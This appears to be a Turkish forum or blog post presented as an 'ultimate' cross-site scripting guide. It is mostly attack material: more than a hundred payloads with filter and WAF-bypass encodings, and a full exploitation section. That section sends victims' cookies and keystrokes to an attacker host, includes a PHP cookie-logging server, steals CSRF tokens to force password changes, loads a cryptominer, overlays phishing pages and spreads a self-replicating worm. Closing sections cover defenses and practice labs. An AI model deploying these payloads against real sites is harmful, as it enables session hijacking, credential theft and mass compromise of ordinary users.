-
Tc4dy
OPSEC Specialist | Free internet - Open Source ADV
🔥 XSS ULTIMATE REHBERİ – SIFIRDAN PROFESYONELE 100+ TEKNİK, 50+ PAYLOAD, 20+ ARAÇ
Cross-Site Scripting (XSS), web uygulama güvenliğinin en yaygın ve en tehlikeli açıklarından biridir. Bu rehberde, XSS'in ne olduğundan başlayıp, tüm türlerini, manuel ve otomatik keşif yöntemlerini, WAF bypass için 100'den fazla payload tekniğini, istismar senaryolarını (cookie stealing, keylogging, session hijacking, phishing) ve korunma yöntemlerini en ince ayrıntısına kadar anlatıyorum. Her bölümde gerçek dünya simülasyon çıktıları ve çalışan kod örnekleri var.📌 BÖLÜM 1: XSS NEDİR VE NASIL ÇALIŞIR?
XSS, bir web uygulamasının kullanıcıdan aldığı veriyi yeterince temizlemeden (sanitize etmeden) HTML sayfasına geri yazması sonucu oluşan bir enjeksiyon açığıdır. Saldırgan, tarayıcıda çalışacak JavaScript kodunu siteye enjekte eder.🔧 Basit bir örnek: Bir arama motoru, aradığınız kelimeyi "Aradığınız: [kelime]" şeklinde gösteriyor. Eğer şapka yazarsanız sorun yok. Ama şapka<script>alert(1)</script> yazarsanız ve site bunu filtrelemeden yazdırırsa, sayfa açıldığında JavaScript çalışır ve alert kutusu gelir.
📡 XSS ile neler yapılabilir?
- 🍪 Kullanıcının oturum çerezini (session cookie) çalmak
- ⌨️ Klavye girdilerini kaydetmek (keylogger)
- 🎭 Kurbanın hesabı üzerinden işlem yapmak (şifre değiştirme, mesaj gönderme, para transferi)
- 🔀 Kullanıcıyı başka bir siteye yönlendirmek (phishing)
- 🖼️ Sayfa içeriğini değiştirmek (defacing)
- 📡 Kurbanın tarayıcısını kullanarak iç ağdaki cihazları taramak
- 🔑 CSRF token'larını çalıp istekleri oturum açmadan göndermek
📁 BÖLÜM 2: XSS TÜRLERİ (DETAYLI)
XSS üç ana türe ayrılır. Her birinin keşif ve istismar yöntemleri farklıdır.🪞 2.1. Reflected XSS (Yansıyan XSS)
📖 Tanım: Kötü amaçlı kod, HTTP isteği içinde (genellikle URL parametresi) gönderilir. Sunucu bu kodu alır ve yanıt sayfasına aynen yansıtır. Saldırgan, kurbana özel hazırlanmış bir link gönderir. Kurban linke tıkladığında, istek sunucuya gider, sunucu zararlı kodu yansıtır ve kurbanın tarayıcısında çalışır.🎯 Keşif yöntemi: Tüm URL parametrelerine (?q=, ?id=, ?search=, ?page=) test payload'ları ekleyip çıktıyı incele.
💻 Örnek senaryo: https://hedef.com/arama?q=deneme
Sunucu çıktısı: <p>deneme için sonuç bulunamadı</p>
Payload: https://hedef.com/arama?q=<script>alert(1)</script>
Çıktı: <p><script>alert(1)</script> için sonuç bulunamadı</p> → JavaScript çalışır.
📊 Simülasyon çıktısı (Burp Suite veya curl ile):
http
GET /arama?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: hedef.com
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<body>
<p><script>alert(1)</script> için sonuç bulunamadı</p>
</body>
</html>
💾 2.2. Stored XSS (Saklanan XSS)
📖 Tanım: Kötü amaçlı kod, web sitesinin veritabanına veya kalıcı bir depolama alanına kaydedilir. Sayfayı ziyaret eden her kullanıcı bu kodu görür ve çalıştırır. En tehlikeli XSS türüdür.🎯 Keşif yöntemi: Kullanıcı girdisinin kalıcı olarak saklandığı tüm alanları test et: yorumlar, profil bilgileri, mesajlar, başlıklar, blog gönderileri, forum konuları.
💻 Örnek senaryo: Bir forumda yorum kısmı. Payload: Çok güzel yazı olmuş <script>alert(1)</script> Yorum kaydedilir. Sonra herkes o konuyu açtığında alert çalışır.
📊 Simülasyon çıktısı (veritabanı kaydı):
sql
INSERT INTO yorumlar (mesaj) VALUES ('Çok güzel yazı olmuş <script>alert(1)</script>');
Ardından sayfa yüklendiğinde:
html
<div class="yorum">
Çok güzel yazı olmuş <script>alert(1)</script>
</div>
🌿 2.3. DOM Based XSS
📖 Tanım: Sunucu tarafında herhangi bir yansıma yoktur. Güvenlik açığı, tamamen istemci tarafındaki JavaScript kodunun DOM'u (Document Object Model) yanlış şekilde değiştirmesinden kaynaklanır. URL'den alınan veri, document.write, innerHTML, eval, setTimeout gibi fonksiyonlara doğrudan aktarılırsa XSS oluşur.🎯 Keşif yöntemi: Tarayıcının geliştirici araçlarıyla JavaScript kodlarını incele. Özellikle location.hash, document.URL, window.name gibi kaynaklardan veri alıp DOM'a yazan fonksiyonları ara.
💻 Örnek senaryo: Sayfada şu kod var:
html
<script>
var isim = location.hash.substring(1);
document.write("Merhaba " + isim);
</script>
URL: https://hedef.com#<script>alert(1)</script> → document.write ile script yazılır ve çalışır. Sunucuya hiçbir istek gitmez, tamamen tarayıcıda olur.
🕶️ 2.4. Blind XSS
📖 Tanım: Payload, saldırganın doğrudan göremediği bir alana (örneğin admin paneli, raporlama sayfası, e-posta önizleme) kaydedilir. Kod çalıştığında, saldırganın sunucusuna bir istek gider ve saldırgan bundan haberdar olur. Genellikle yöneticileri hedef alır.🎯 Keşif yöntemi: "><script src=http://saldirgan.com/xss.js></script> gibi bir payload gönder. Eğer bir yönetici sayfayı açarsa, saldirgan.com adresine istek düşer. Bunu tespit etmek için XSS Hunter veya kendi sunucunu kullan.
💻 Örnek payload (XSS Hunter ile):
html
"><script src=https://xsshunter.com/abc123></script>
XSS Hunter sana çalıştığında e-posta veya web paneli ile bildirir.
🎯 BÖLÜM 3: XSS KEŞİF YÖNTEMLERİ (MANUEL)
Manuel test, otomatik araçların kaçırdığı birçok açığı bulur. İşte adım adım manuel test süreci.3.1. Tüm Girdi Noktalarını Belirle
- 📝 Form alanları (search, login, register, comment, contact)
- 🔗 URL parametreleri (?id=1, ?page=2, ?q=test, ?lang=en)
- 🍪 Çerez değerleri (Cookie'ler)
- 📨 HTTP başlıkları (Referer, User-Agent, X-Forwarded-For)
- 🏷️ JSON/XML gövdeleri (API istekleri)
- 📁 Dosya yükleme (dosya adı, dosya içeriği)
3.2. İlk Test Payload'ları (Basit)
html<script>alert(1)</script>
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<iframe onload=alert(1)>
3.3. Çıktıyı İnceleme
- Sayfada <script> etiketi aynen yazılıyor mu?
- Event handler (onerror, onload) attribute içinde çalışıyor mu?
- JavaScript kodu içine enjeksiyon yapabiliyor muyuz? (Örn: var x = "kullanıcı_girdisi"; -> var x = "";alert(1);//")
- HTML etiketleri varlığını koruyor ama bazıları filtreleniyor mu? (Örn: <script kaldırılıyor ama <ScRiPt çalışıyor mu?)
3.4. Gelişmiş Test Payload'ları (Çıktıya Göre)
Eğer <> filtreleniyorsa: Event handler'ları dene: " onmouseover=alert(1) "Eğer alert filtreleniyorsa: prompt(1), confirm(1), console.log(1) dene.
Eğer () filtreleniyorsa: Backtick kullan: `alert1
Eğer boşluk filtreleniyorsa: /, %0a, %0d, %09 dene: <img/src=x/onerror=alert(1)>
🤖 BÖLÜM 4: XSS KEŞİF ARAÇLARI (OTOMATİK)
Otomatik araçlar, çok sayıda parametreyi tarayarak zaman kazandırır.4.1. XSStrike (En Kapsamlı)
Özellikleri: DOM parsing, WAF bypass, parametre brute-force, çoklu payload encoding.Kurulum:
bash
git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip install -r requirements.txt
Kullanım örnekleri:
bash
# Tek URL
python xsstrike.py -u "https://hedef.com/search?q=test"
# Parametreleri brute-force et
python xsstrike.py -u "https://hedef.com/page?id=1" --params
# Tarama yaparken DOM da analiz et
python xsstrike.py -u "https://hedef.com/search?q=test" --crawl
# WAF bypass dene
python xsstrike.py -u "https://hedef.com/search?q=test" --waf
Simüle edilmiş çıktı:
text
[+] XSStrike v3.1.5
[!] WAF detected: Cloudflare
[+] Testing parameter: q
[+] Payload: <ScRiPt>alert(1)</sCrIpT> → 404
[+] Payload: <img src=x onerror=alert(1)> → 200 (reflected)
[!] Potential XSS found in parameter: q
[+] Payload: <img src=x onerror=alert(document.cookie)>
4.2. Dalfox (Hızlı ve Etkili)
Kurulum:bash
go install github.com/hahwul/dalfox/v2@latest
Kullanım:
bash
# Tek URL
dalfox url "https://hedef.com/search?q=test"
# Dosyadan URL listesi
dalfox file urls.txt
# Çıktıyı dosyaya yaz
dalfox url "https://hedef.com/search?q=test" -o results.txt
# Blind XSS için
dalfox url "https://hedef.com/search?q=test" --blind
4.3. XSSer
Kurulum:bash
sudo apt install xsser
Kullanım:
bash
xsser -u "https://hedef.com/search?q=test" --auto
xsser -u "https://hedef.com/search?q=test" --Fp --Cl --Dc --Cw
4.4. Burp Suite (Profesyonel)
- 🧹 Scanner modunda XSS testi yapar.
- 🛠️ Repeater ile manuel payload gönderme.
- 🔄 Intruder ile payload listesi gönderme.
4.5. OWASP ZAP (Ücretsiz, GUI'li)
- 🔍 Active Scan ile otomatik XSS taraması.
- 📝 Fuzzer ile özel payload listeleri.
- 🧪 HUD ile tarayıcı içi test.
4.6. XSS Hunter (Blind XSS için)
Web sitesi: xsshunter.com (ücretsiz, kayıt gerekir)Kullanım: Bir payload oluştur (örn: "><script src=https://xsshunter.com/abc></script>), bunu hedefe yerleştir. Eğer bir yönetici sayfayı açarsa, XSS Hunter sana e-posta gönderir ve çerez, URL, ekran görüntüsü gibi detayları toplar.
🧪 BÖLÜM 5: 100+ XSS PAYLOAD ARŞİVİ (BY PASS TEKNİKLERİYLE)
İşte en kapsamlı XSS payload listesi. Her kategori farklı bir filtrasyon tekniğini aşmak içindir.5.1. Temel Script Payload'ları (Hiç filtre yoksa)
html<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<script>alert(window.location.href)</script>
<script>console.log(1)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
<script>write(1)</script>
5.2. Event Handler Payload'ları (<script> filtrelenmişse)
html<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<img src=x onerror='alert(1)'>
<svg onload=alert(1)>
<body onload=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>
<iframe onload=alert(1)>
<embed onload=alert(1)>
<link onload=alert(1)>
<video onloadstart=alert(1)>
<audio onloadstart=alert(1)>
<marquee onstart=alert(1)>
<details ontoggle=alert(1)>
<meter onmouseover=alert(1)>
<progress onmouseover=alert(1)>
<object onerror=alert(1)>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<frameset onload=alert(1)>
<frame onload=alert(1)>
5.3. Büyük/Küçük Harf Değiştirme (Case Variation)
html<ScRiPt>alert(1)</sCrIpT>
<ImG sRc=x OnErRoR=alert(1)>
<SvG oNlOaD=alert(1)>
<bOdY oNlOaD=alert(1)>
<IfRaMe oNlOaD=alert(1)>
5.4. Tek Katman URL Encoding
html%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src=x%20onerror=alert(1)%3E
%3Csvg%20onload=alert(1)%3E
%3Cbody%20onload=alert(1)%3E
5.5. Çift Katman URL Encoding
html%253Cscript%253Ealert(1)%253C/script%253E
%253Cimg%2520src=x%2520onerror=alert(1)%253E
%253Csvg%2520onload=alert(1)%253E
5.6. Üç Katman URL Encoding
html%25253Cscript%25253Ealert(1)%25253C/script%25253E
5.7. HTML Entity Encoding (Decimal)
html<script>alert(1)</script>
<img src=x onerror=alert(1)>
5.8. HTML Entity Encoding (Hexadecimal)
html<script>alert(1)</script>
<img src=x onerror=alert(1)>
5.9. Karışık Encoding (Decimal + Hex + URL)
html%3Cscript>alert(1)</script>
<script>alert(1)</script>
5.10. Unicode Encoding (JavaScript içinde)
html<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<script>\u0061\u006c\u0065\u0072\u0074(\u0031)</script>
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>
5.11. Hexadecimal JS Encoding
html<script>\x61\x6c\x65\x72\x74(1)</script>
<script>\x61\x6c\x65\x72\x74(\x31)</script>
<img src=x onerror=\x61\x6c\x65\x72\x74(1)>
5.12. Octal JS Encoding
html<script>\141\154\145\162\164(1)</script>
<img src=x onerror=\141\154\145\162\164(1)>
5.13. Boşluk Bypass (Space yerine)
html<img/src=x/onerror=alert(1)>
<img%0Asrc=x%0Aonerror=alert(1)>
<img%09src=x%09onerror=alert(1)>
<img%0dsrc=x%0donerror=alert(1)>
<img%0asrc=x%0a%0aonerror=alert(1)>
<svg%0Aonload=alert(1)>
<body%0Aonload=alert(1)>
5.14. Tırnak İşareti Bypass
html<img src=x onerror=alert`1`>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<svg onload=alert`1`>
<body onload=alert`1`>
5.15. Yorum Satırı Bypass
html<!--<script>-->alert(1)<!--</script>-->
<img <!-- --> src=x onerror=alert(1)>
<style>}@keyframes x{}</style><svg onload=alert(1)>
5.16. Sözde Protokol (javascript
html<a href="javascript:alert(1)">Tıkla</a>
<a href="javascript:alert(1)"><button>Gönder</button></a>
<iframe src="javascript:alert(1)">
<form action="javascript:alert(1)"><input type=submit>
5.17. iframe ve embed kaynaklı
html<iframe srcdoc="<script>alert(1)</script>"></iframe>
<embed src="javascript:alert(1)">
<object data="javascript:alert(1)">
5.18. CSS ile XSS (style etiketi)
html<style>body{background:url("javascript:alert(1)")}</style>
<style>@import 'javascript:alert(1)';</style>
<style>@import url('javascript:alert(1)');</style>
5.19. SVG ile XSS
html<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x></svg>
<svg><set onbegin=alert(1) attributeName=x></svg>
5.20. Matematik Operatörleri ile Bypass
html<script>alert(1+1)</script>
<script>alert(2*1)</script>
<script>alert(10-9)</script>
5.21. String Birleştirme (Keyword filter bypass)
html<script>al('er' + 't')(1)</script>
<script>window['alert'](1)</script>
<script>self['alert'](1)</script>
<script>top['alert'](1)</script>
<script>parent['alert'](1)</script>
<script>frames['alert'](1)</script>
<script>this['alert'](1)</script>
<script>['alert'].map(e=>eval(e+'(1)'))()</script>
<script>Function('alert(1)')()</script>
5.22. eval ile Bypass
html<script>eval('alert(1)')</script>
<script>eval('al' + 'ert(1)')</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
5.23. Base64 Encoded Payload
html<script>eval(atob('YWxlcnQoMSk='))</script>
<script>document.write(atob('PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='))</script>
5.24. JavaScript Değişken Atama ile
html<script>var a='al';var b='ert';window[a+b](1)</script>
<script>var a='ale';var b='rt';this[a+b](1)</script>
5.25. onerror içinde fonksiyon tanımlama
html<img src=x onerror="function f(){alert(1)};f()">
<img src=x onerror="setTimeout('alert(1)',1000)">
5.26. DOM içi enjeksiyon (document.write, innerHTML)
html<script>document.write('<img src=x onerror=alert(1)>')</script>
<script>document.body.innerHTML='<img src=x onerror=alert(1)>'</script>
5.27. location ve navigator kullanımı
html<script>location='javascript:alert(1)'</script>
<script>navigator.sendBeacon('https://saldirgan.com/steal?c='+document.cookie)</script>
5.28. WebSocket ile veri sızdırma
html<script>
var ws = new WebSocket('ws://saldirgan.com:8080');
ws.onopen = function() { ws.send(document.cookie); };
</script>
5.29. XMLHttpRequest ile veri sızdırma
html<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://saldirgan.com/steal?c='+document.cookie, true);
xhr.send();
</script>
5.30. Fetch API ile
html<script>fetch('https://saldirgan.com/steal?c='+document.cookie)</script>
<script>fetch('https://saldirgan.com/steal',{method:'POST',body:document.cookie})</script>
5.31. Image objesi ile (en kısa)
html<script>new Image().src='https://saldirgan.com/steal?c='+document.cookie</script>
5.32. <script> src ile dışarıdan kod çağırma
html<script src="https://saldirgan.com/xss.js"></script>
<script src="//saldirgan.com/xss.js"></script>
5.33. <link> rel=import ile
html<link rel="import" href="https://saldirgan.com/xss.html">
5.34. <math> etiketi ile
html<math><maction xlink:href="javascript:alert(1)">Tıkla</maction></math>
5.35. <isindex> ile (eski)
html<isindex type=image src=1 onerror=alert(1)>
5.36. <listing> ile
html<listing><script>alert(1)</script> </listing>
5.37. <meta> ile redirect + XSS
html<meta http-equiv="refresh" content="0;javascript:alert(1)">
5.38. <base> etiketi ile (tüm relative linkleri yönlendir)
html<base href="javascript:alert(1)//">
5.39. <template> ile
html<template><script>alert(1)</script></template>
5.40. <noscript> içine (noscript engelli değilse)
html<noscript><script>alert(1)</script></noscript>
5.41. JavaScript içinde string escape bypass
Eğer JavaScript kodu içine enjeksiyon yapıyorsan:html
";alert(1);//
';alert(1);//
\";alert(1);//
</script><script>alert(1)</script>
5.42. HTML attribute içine enjeksiyon (tırnaksız)
html<input value=deneme> -> deneme" onmouseover=alert(1)
<input value=deneme onmouseover=alert(1)>
5.43. HTML attribute içine enjeksiyon (tırnaklı)
html<input value="deneme"> -> deneme" onmouseover="alert(1)
<input value="deneme" onmouseover="alert(1)">
5.44. JavaScript URL içine enjeksiyon
html<a href="javascript:alert(1)">Tıkla</a>
<form action="javascript:alert(1)"><input type=submit>
5.45. Null byte bypass (bazı eski WAF'lar için)
html<scri%00pt>alert(1)</scri%00pt>
<scri%00pt>alert(1)</scri%00pt>
🔓 BÖLÜM 6: WAF BYPASS TEKNİKLERİ (DETAYLI)
Modern WAF'lar (Cloudflare, ModSecurity, AWS WAF) birçok XSS payload'ını engeller. İşte bunları aşma yöntemleri.6.1. Büyük/Küçük Harf Karıştırma (Case Mutation)
html<ScRiPt>alert(1)</ScRiPt>
<ImG sRc=x OnErRoR=alert(1)>
<SvG oNlOaD=alert(1)>
6.2. Encoding Katmanları
WAF'lar genellikle tek katman URL decode yapar. Çift katmanlı encoding kullan:html
%253Cscript%253Ealert(1)%253C/script%253E
6.3. Yorum Satırı ile Bölme
html<sc<!-- -->ript>alert(1)</sc<!-- -->ript>
<scr<!-- -->ipt>alert(1)</scr<!-- -->ipt>
6.4. Line Break Kullanımı
html<sc%0Aript>alert(1)</sc%0Aript>
<sc%0Dript>alert(1)</sc%0Dript>
6.5. Tab Kullanımı
html<sc%09ript>alert(1)</sc%09ript>
6.6. Sessiz Karakterler (Zero-width space, vb.)
html<sc​ript>alert(1)</sc​ript>
6.7. HTML Entity Encoding (WAF decode etmezse)
html<script>alert(1)</script>
6.8. JavaScript içinde Hex Encoding
html<script>\x61\x6c\x65\x72\x74(1)</script>
6.9. JavaScript içinde Unicode Encoding
html<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
6.10. alert kelimesini parçalama
html<script>window['al'+'ert'](1)</script>
<script>eval('al'+'ert(1)')</script>
6.11. () yerine backtick
html<script>alert`1`</script>
<img src=x onerror=alert`1`>
6.12. Boşluk yerine /, %0a, %0d, %09
html<img/src=x/onerror=alert(1)>
<img%0Asrc=x%0Aonerror=alert(1)>
6.13. Farklı event handler'lar (WAF sadece onerror, onload'u engelliyorsa)
html<svg onbegin=alert(1)>
<svg onend=alert(1)>
<svg onrepeat=alert(1)>
6.14. <script> yerine <iframe srcdoc>
html<iframe srcdoc="<script>alert(1)</script>"></iframe>
6.15. <object> ve <embed> kullanımı
html<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">
6.16. CSS ile XSS
html<style>@import 'javascript:alert(1)';</style>
6.17. Meta tag ile refresh
html<meta http-equiv="refresh" content="0;javascript:alert(1)">
6.18. <link> ile
html<link rel="stylesheet" href="javascript:alert(1)">
6.19. <math> etiketi
html<math><maction xlink:href="javascript:alert(1)">Tıkla</maction></math>
6.20. <isindex> (eski)
html<isindex type=image src=1 onerror=alert(1)>
6.21. <form> ile
html<form action="javascript:alert(1)"><input type=submit>
6.22. <button> ile
html<button formaction="javascript:alert(1)">Tıkla</button>
6.23. <input type=image> ile
html<input type=image src=x onerror=alert(1)>
6.24. <video> ve <audio> ile
html<video><source onerror=alert(1)>
<audio><source onerror=alert(1)>
6.25. <track> ile
html<video><track onerror=alert(1) src=x>
6.26. <script> src ile dış kaynak (WAF beyaz liste kontrolü yapıyorsa, kendi domaininizden bir dosya yükleyip onu çağırabilirsiniz)
html<script src="//hedef.com/uploads/xss.js"></script>
6.27. <link> import ile
html<link rel="import" href="https://saldirgan.com/xss.html">
6.28. <a> ile javascript: protokolü
html<a href="javascript:alert(1)">Tıkla</a>
6.29. <area> ile
html<area href="javascript:alert(1)" shape=rect coords=0,0,100,100>
6.30. <div> style ile
html<div style="background:url('javascript:alert(1)')">
6.31. <body> background ile
html<body background="javascript:alert(1)">
6.32. <table> background ile
html<table background="javascript:alert(1)">
6.33. <td> background ile
html<td background="javascript:alert(1)">
6.34. <tr> background ile
html<tr background="javascript:alert(1)">
6.35. <style> içinde expression (IE only)
html<style>body{expression(alert(1))}</style>
6.36. <style> içinde binding (IE only)
html<style>body{behavior:url(#default#userData);}</style>
6.37. <xml> ile
html<xml><script>alert(1)</script></xml>
6.38. <xmp> ile (eski)
html<xmp><script>alert(1)</script>
6.39. <plaintext> ile
html<plaintext><script>alert(1)</script>
6.40. <listing> ile
html<listing><script>alert(1)</script>
6.41. <script> için charset bypass
html<script charset="UTF-16BE">alert(1)</script>
6.42. <script> type attribute ile
html<script type="text/javascript">alert(1)</script>
<script type="text/html">alert(1)</script> <!-- çalışmaz, ama bazen WAF yanılır -->
6.43. <script> language attribute ile (eski)
html<script language="javascript">alert(1)</script>
6.44. <script> için defer/async
html<script defer>alert(1)</script>
<script async>alert(1)</script>
6.45. <script> src data: URI ile
html<script src="data:text/javascript,alert(1)"></script>
6.46. <iframe> src data: URI ile
html<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
6.47. <object> data data: URI ile
html<object data="data:text/html,<script>alert(1)</script>">
6.48. <embed> src data: URI ile
html<embed src="data:text/html,<script>alert(1)</script>">
6.49. <link> href data: URI ile
html<link rel="stylesheet" href="data:text/css,body{background:red}">
6.50. <meta> charset ile (UTF-7)
html<meta charset="UTF-7">+ADw-script+AD4-alert(1)+ADw-/script+AD4-
6.51. WAF bypass için HTTP parametre pollution (HPP)
html?xss=<script>alert(1)</script>&xss=ignored
?xss=<scri&xss=pt>alert(1)</script>
6.52. WAF bypass için HTTP parametre fragmentation
html?xss=<script>ale&xss=rt(1)</script>
🧪 BÖLÜM 7: XSS İSTİSMARI (GERÇEK DÜNYA)
7.1. Cookie Stealing (Oturum Çerezini Çalma)
Payload:html
<script>document.location='https://saldirgan.com/steal.php?cookie='+document.cookie</script>
Sunucu tarafı (steal.php):
php
<?php
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$date = date('Y-m-d H:i:s');
$log = "[$date] IP: $ip | UA: $user_agent | Cookie: $cookie\n";
file_put_contents('cookies.txt', $log, FILE_APPEND);
?>
Simüle edilmiş çıktı (cookies.txt):
text
[2026-04-21 14:23:10] IP: 192.168.1.100 | UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) | Cookie: sessionid=abc123def456; user=admin
7.2. Keylogger (Tuş Kaydı)
Payload:html
<script>
document.onkeypress = function(e) {
fetch('https://saldirgan.com/keylog.php?key=' + e.key + '&code=' + e.keyCode)
}
</script>
Sunucu tarafı (keylog.php):
php
<?php
$key = $_GET['key'];
$code = $_GET['code'];
$ip = $_SERVER['REMOTE_ADDR'];
file_put_contents('keys.txt', "[$ip] $key ($code)", FILE_APPEND);
?>
7.3. Session Hijacking (Çerez ile Oturum Ele Geçirme)
Cookie'yi aldıktan sonra, kendi tarayıcına o cookie'yi eklemelisin.Firefox için:
- Add-on: Cookie Manager, EditThisCookie
- EditThisCookie eklentisi
- F12 → Application → Storage → Cookies
- document.cookie = "sessionid=abc123def456" yaz console'a
7.4. CSRF Token Çalma ve İstek Gönderme
html<script>
// Önce token'ı al
fetch('/user/settings')
.then(r => r.text())
.then(html => {
let token = html.match(/csrf_token: '([^']+)'/)[1];
// Sonra token ile şifre değiştirme isteği gönder
fetch('/user/change_password', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'csrf_token='+token+'&new_password=hacked123'
})
});
</script>
7.5. Sayfa Defacing (İçerik Değiştirme)
html<script>
document.body.innerHTML = '<h1 style="color:red">HACKED BY ...</h1>';
document.title = 'Hacked';
</script>
7.6. Phishing Sayfası Açma
html<script>
var iframe = document.createElement('iframe');
iframe.src = 'https://saldirgan.com/phishing.html';
iframe.style.position = 'fixed';
iframe.style.top = '0';
iframe.style.left = '0';
iframe.style.width = '100%';
iframe.style.height = '100%';
document.body.appendChild(iframe);
</script>
7.7. İç Ağ Taraması
html<script>
// İç ağdaki cihazları taramak için
var ips = ['192.168.1.1', '192.168.1.2', '192.168.1.100'];
ips.forEach(ip => {
fetch('http://' + ip + ':80')
.then(() => fetch('https://saldirgan.com/scan?ip=' + ip + '&open=80'))
.catch(() => {});
});
</script>
7.8. Cryptocurrency Madenciliği (Coinhive benzeri)
html<script src="https://saldirgan.com/miner.js"></script>
<script>
// Kurbanın CPU'sunu kullanarak coin madenciliği
var miner = new CoinHive.Anonymous('SITE_KEY');
miner.start();
</script>
7.9. Yetkili İşlem Yapma (Örn: beğeni, takip et)
html<script>
fetch('https://hedef.com/like?id=123', {method: 'POST'})
fetch('https://hedef.com/follow?user=attacker', {method: 'POST'})
</script>
7.10. Otomatik Yayılma (Worm)
html<script>
// Kendini yorum olarak ekle (stored XSS için)
var payload = '<script src="https://saldirgan.com/xss.js"><\/script>';
fetch('/comment', {
method: 'POST',
body: 'comment=' + encodeURIComponent(payload)
});
</script>
🛡️ BÖLÜM 8: XSS KORUNMA YÖNTEMLERİ (GELİŞTİRİCİLER İÇİN)
Eğer bir web uygulaması geliştiriyorsan, XSS'e karşı şunları uygulaman gerekir.8.1. Çıktıyı Escape Etme (En Önemli)
Kullanıcı girdisini HTML içinde görüntülemeden önce mutlaka escape et.PHP:
php
echo htmlspecialchars($kullanici_girdisi, ENT_QUOTES, 'UTF-8');
Python (Flask):
python
from flask import escape
return escape(kullanici_girdisi)
Python (Django):
html
{{ kullanici_girdisi|escape }}
JavaScript (React):
jsx
<div>{kullanici_girdisi}</div> // React otomatik escape eder
JavaScript (Vanilla):
javascript
element.textContent = kullanici_girdisi; // innerHTML yerine textContent
8.2. Content Security Policy (CSP)
CSP, tarayıcıya hangi kaynaklardan script çalıştırabileceğini söyler.Örnek header:
text
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'
Raporlama için:
text
Content-Security-Policy: default-src 'self'; report-uri /csp-report
8.3. HttpOnly ve Secure Flag (Çerezler)
phpsetcookie("sessionid", "abc123", [
'httponly' => true, // JavaScript erişemesin
'secure' => true, // sadece HTTPS
'samesite' => 'Strict' // CSRF koruması
]);
8.4. Girdi Doğrulama (Whitelist)
Beklemediğin karakterleri reddet. Örneğin sadece harf ve rakam istiyorsan:php
if (!preg_match('/^[a-zA-Z0-9]+$/', $input)) {
die('Geçersiz giriş');
}
8.5. DOMPurify Kullanımı
Eğer innerHTML kullanmak zorundaysan, DOMPurify ile temizle:javascript
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(kullanici_girdisi);
8.6. Sanitization Kütüphaneleri
- Java: OWASP Java HTML Sanitizer
- Python: Bleach, html-sanitizer
- Node.js: sanitize-html, xss-filters
- PHP: HTML Purifier
- .NET: AntiXSS Library
8.7. XSS Koruma Karşılaştırması
| Yöntem | Etkinlik | Uygulama Zorluğu | Performans Etkisi |
|---|---|---|---|
| Çıktı escape | ⭐⭐⭐⭐⭐ | Düşük | Düşük |
| CSP | ⭐⭐⭐⭐ | Orta | Düşük |
| HttpOnly | ⭐⭐⭐⭐ | Düşük | Yok |
| Girdi validasyonu | ⭐⭐⭐ | Orta | Düşük |
| DOMPurify | ⭐⭐⭐⭐ | Düşük | Orta |
| WAF | ⭐⭐⭐ | Yüksek | Yüksek |
🧪 BÖLÜM 9: XSS LABORATUVARI (KENDİN DENE)
Teorik bilgi yeterli değil. Pratik yapman lazım.9.1. Ücretsiz Online Platformlar
| Platform | Açıklama | Link |
|---|---|---|
| PortSwigger XSS Labs | 20+ lab, her tür XSS için | portswigger.net/web-security/cross-site-scripting |
| XSS Game (Google) | 6 seviye, eğlenceli | xss-game.appspot.com |
| Alert(1) to win | Zorlu, ileri seviye | alf.nu/alert1 |
| Prompt(1) to win | Daha zor | prompt.ml |
| XSS Challenges | 16 seviye | xss-quiz.int21h.jp |
9.2. Yerel Lab Kurulumu (DVWA)
DVWA (Damn Vulnerable Web Application) – Tüm XSS türlerini içerir.Kurulum (XAMPP ile):
bash
1. XAMPP'i indir ve kur (apache + mysql)
2. DVWA'yı indir: https://github.com/digininja/DVWA
3. DVWA klasörünü C:\xampp\htdocs\ altına koy
4. XAMPP Control Panel'de Apache ve MySQL'i başlat
5. Tarayıcıda http://localhost/DVWA
6. Login: admin / password
7. DVWA Security'yi "low" yap
8. XSS (Reflected, Stored, DOM) bölümlerini dene
9.3. Web Security Academy (PortSwigger)
Ücretsiz kayıt ile 20'den fazla XSS lab'ı var. Her lab'da çözüm videosu ve açıklama mevcut.📊 BÖLÜM 10: ÖZET – XSS TEKNİKLERİ VE ARAÇLARI TABLOSU
| Teknik / Araç | Kullanım Amacı | Zorluk | Başarı Oranı |
|---|---|---|---|
| Manuel test (payload gönderme) | Tüm parametreleri test etmek | Kolay | Orta |
| XSStrike | Otomatik WAF bypass | Orta | Yüksek |
| Dalfox | Hızlı parametre tarama | Kolay | Yüksek |
| Burp Intruder | Brute-force payload | Orta | Yüksek |
| XSS Hunter | Blind XSS tespiti | Kolay | Yüksek |
| Encoding katmanları | WAF bypass | Orta | Yüksek |
| Event handler'lar | <script> filtrelenmişse | Kolay | Çok yüksek |
